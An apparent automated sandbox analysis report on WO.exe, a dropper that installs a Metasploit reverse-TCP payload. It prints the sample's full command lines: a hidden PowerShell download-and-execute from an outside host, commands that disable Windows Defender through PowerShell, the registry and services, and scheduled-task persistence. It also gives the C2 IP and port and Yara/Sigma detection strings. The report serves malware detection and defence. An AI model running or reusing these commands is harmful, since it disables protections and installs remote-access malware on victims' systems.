Edit tour

Windows Analysis Report
WO.exe

Overview

General Information

Sample name:	WO.exe
Analysis ID:	1580052
MD5:	7176b040816932541eb9c2b91d90b29b
SHA1:	137a9c4620366caff2a1d1c297b6ae8c6d28761d
SHA256:	db9756031d99dcddae9e9254bd76156a580331a43802b6faa68d2fd62c5b7e95
Tags:	exeuser-James_inthe_box
Infos:

Detection

Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Metasploit Payload

Yara detected Powershell download and execute

AI detected suspicious sample

Disable Windows Defender real time protection (registry)

Disables Windows Defender (via service or powershell)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies Windows Defender protection settings

Powershell drops PE file

Sigma detected: PowerShell DownloadFile

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Suspicious Windows Service Tampering

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Uses net.exe to stop services

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64

WO.exe (PID: 6924 cmdline: "C:\Users\user\Desktop\WO.exe" MD5: 7176B040816932541EB9C2B91D90B29B)

cmd.exe (PID: 7068 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7164 cmdline: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2316 cmdline: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')" MD5: 04029E121A0CFA5991749937DD22A1D9)

reddit.exe (PID: 6800 cmdline: "C:\Users\user\AppData\Local\Temp\reddit.exe" MD5: 23544090C6D379E3ECA7343C4F05D4D2)

attrib.exe (PID: 5480 cmdline: attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

schtasks.exe (PID: 1880 cmdline: schtasks /query /TN "RunRedditLogon" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6328 cmdline: schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6276 cmdline: schtasks /query /TN "RunRedditMinute" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1544 cmdline: schtasks /create /tn "RunRedditMinute" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc minute /mo 1 /rl highest /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

sc.exe (PID: 2196 cmdline: sc config WinDefend start= disabled MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 5244 cmdline: net stop WinDefend MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 2004 cmdline: C:\Windows\system32\net1 stop WinDefend MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

reg.exe (PID: 6184 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 6352 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

WO.exe (PID: 2476 cmdline: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe MD5: 7176B040816932541EB9C2B91D90B29B)

cmd.exe (PID: 1836 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2004 cmdline: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4476 cmdline: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')" MD5: 04029E121A0CFA5991749937DD22A1D9)

reddit.exe (PID: 5308 cmdline: "C:\Users\user\AppData\Local\Temp\reddit.exe" MD5: 23544090C6D379E3ECA7343C4F05D4D2)

attrib.exe (PID: 2664 cmdline: attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

schtasks.exe (PID: 2472 cmdline: schtasks /query /TN "RunRedditLogon" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6972 cmdline: schtasks /query /TN "RunRedditMinute" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

sc.exe (PID: 6228 cmdline: sc config WinDefend start= disabled MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 6992 cmdline: net stop WinDefend MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 3468 cmdline: C:\Windows\system32\net1 stop WinDefend MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

reg.exe (PID: 6152 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 4488 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

WO.exe (PID: 6100 cmdline: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe MD5: 7176B040816932541EB9C2B91D90B29B)

cmd.exe (PID: 6272 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6324 cmdline: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6104 cmdline: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')" MD5: 04029E121A0CFA5991749937DD22A1D9)

reddit.exe (PID: 7108 cmdline: "C:\Users\user\AppData\Local\Temp\reddit.exe" MD5: 23544090C6D379E3ECA7343C4F05D4D2)

attrib.exe (PID: 4076 cmdline: attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

schtasks.exe (PID: 6208 cmdline: schtasks /query /TN "RunRedditLogon" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1700 cmdline: schtasks /query /TN "RunRedditMinute" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

sc.exe (PID: 4476 cmdline: sc config WinDefend start= disabled MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 6176 cmdline: net stop WinDefend MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 6996 cmdline: C:\Windows\system32\net1 stop WinDefend MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

reg.exe (PID: 3312 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 2316 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

WO.exe (PID: 6156 cmdline: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe MD5: 7176B040816932541EB9C2B91D90B29B)

cmd.exe (PID: 4600 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6352 cmdline: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4996 cmdline: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')" MD5: 04029E121A0CFA5991749937DD22A1D9)

reddit.exe (PID: 5744 cmdline: "C:\Users\user\AppData\Local\Temp\reddit.exe" MD5: 23544090C6D379E3ECA7343C4F05D4D2)

attrib.exe (PID: 6344 cmdline: attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

schtasks.exe (PID: 6416 cmdline: schtasks /query /TN "RunRedditLogon" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6944 cmdline: schtasks /query /TN "RunRedditMinute" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cleanup

Malware Configuration

Threatname: Metasploit

{"Type": "Metasploit Connect", "IP": "147.185.221.23", "Port": 1121}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x4141:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\481A.tmp\481B.tmp\481C.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\reddit.exe	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
C:\Users\user\AppData\Local\Temp\reddit.exe	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
C:\Users\user\AppData\Local\Temp\reddit.exe	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0xd8:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000035.00000002.2895737974.0000000000580000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0xd8:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
0000001B.00000002.2895620558.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001B.00000002.2895620558.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
00000035.00000002.2895573514.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000035.00000002.2895573514.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0xd8:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
00000006.00000000.1732936032.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000006.00000000.1732936032.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
0000001C.00000000.1807451210.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001C.00000000.1807451210.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0xd8:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
00000035.00000000.2341032369.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000035.00000000.2341032369.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
0000001B.00000000.1807295375.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001B.00000000.1807295375.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
0000001C.00000002.2895627672.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000001C.00000002.2895627672.0000000000401000.00000020.00000001.01000000.00000005.sdmp	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x2a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
Process Memory Space: WO.exe PID: 6924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: WO.exe PID: 2476	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: WO.exe PID: 6100	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: WO.exe PID: 6156	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
53.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
53.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
53.0.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
28.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
28.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
28.2.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
53.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
53.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
53.2.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
6.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
6.0.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
27.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
27.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
27.0.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
6.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
6.2.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
27.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
27.2.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
27.2.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
28.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
28.0.reddit.exe.400000.0.unpack	JoeSecurity_MetasploitPayload	Yara detected Metasploit Payload	Joe Security
28.0.reddit.exe.400000.0.unpack	Windows_Trojan_Metasploit_4a1c4da8	Identifies Metasploit 64 bit reverse tcp shellcode.	unknown	0x3a39:$a: 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08
Click to see the 19 entries

Other

Source	Rule	Description	Author
amsi64_2316.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_6104.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_4476.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_4996.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", ProcessId: 2316, ProcessName: powershell.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true", ProcessId: 7164, ProcessName: powershell.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", ProcessId: 2316, ProcessName: powershell.exe

Sigma detected: Suspicious Windows Service Tampering

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: net stop WinDefend, CommandLine: net stop WinDefend, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: net stop WinDefend, ProcessId: 5244, ProcessName: net.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')", ProcessId: 2316, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

